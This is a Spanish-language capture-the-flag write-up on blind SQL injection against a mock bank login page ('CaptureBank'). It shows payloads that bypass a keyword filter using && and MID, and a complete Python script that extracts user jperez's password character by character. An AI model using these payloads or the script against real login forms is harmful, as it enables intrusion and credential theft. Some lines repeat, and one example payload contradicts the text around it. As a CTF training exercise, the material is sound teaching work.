By @nogagmx
Descripcion:
Al correrlo obtenemos la Flag que es el password del tarjetahabiente jperez:
Descripcion:
Este es el sitio web del Banco CaptureBank que tienes que comprometer, trata
de encontrar una vulnerabilidad en su Página de Acceso a tarjetahabientes y
encuentra el password (que sera la flag) del usuario: jperez para acceder a su
cuenta! http://52.14.x.x:8005/login.php
Se presenta el login del tarjetahabiente como se muestra a continuaacion:
Si se ingresa el payload básico de SQLi (‘, ‘ or ‘1’=’1), la aplicación no la tomará en cuenta y responderá que el Usuario o la contraseña son incorrectos.
Si se ingresa el payload básico de SQLi (‘, ‘ or ‘1’=’1), la aplicación no la tomará en cuenta y responderá que el Usuario o la contraseña son incorrectos.
Al ingresar ‘ and ‘1’=’1, el sitio
detectará la respuesta como un intento de ataque y marcará las palabras
filtradas con una [X]
Se prueban algunos
payloads utilizados en el reto Blind de Hackdef Quals. Dado que la contraseña
del usuario jperez es la flag y el formato es: FLAG{something_here}, se realiza el siguiente
request: ' and
ascii(substr(password,1,1)) = ‘70’
Al hacerlo, la respuesta
nos muestra algunas de los queries filtrados: AND y SUBSTR/SUBSTRING
Algunas referencias en
internet nos muestran bypasses para dichos queries bloqueados:
Con los bypasses
detectados, podemos realizar requests y verificar el comportamiento del sitio.
Como sabemos que la primera letra del password es `F`, si enviamos: ' %26%26 mid(password,1,1)='g' –
o ' %26%26 ascii(mid(password,1,1))=70 --, observamos
que nos redirige al login… esta será nuestro request TRUE.
Y si colocamos algún otro
carácter como por ejemplo: '
%26%26 mid(password,1,1)='g' -- o
' %26%26
ascii(mid(password,1,1))=71 --,
el sitio nos dice que el usuario o la contraseña son incorrectos… nuestra
respuesta FALSE.
Con este comportamiento detectado podemos hacer un un script y obtener la flag.
# -*- coding: utf-8 -*- import requests import urllib URL = "http://192.168.1.69:8005/login.php" cookies = {"PHPSESSID": "algi1mn3bfotsj87bmma697ng1"} headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Referer": "http://192.168.1.69/", "Upgrade-Insecure-Requests": "1"} charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$^&*()-=+{}' username = "jperez" pwd = "" for i in range(1,40): for strg in charset: payload_1 = "' && MID(password," + str(i) + ", 1)='"+ strg + "' -- " data = {"username": username + payload_1 , "password": "fdf"} res = requests.post(URL, headers=headers, cookies=cookies, data=data) #print payload_1 #print res.content if "Usuario o Contraseña Incorrectos" not in res.content: pwd += strg print pwd break; print "[+] Password Found:" + pwd
Al correrlo obtenemos la Flag que es el password del tarjetahabiente jperez:
Comments
Post a Comment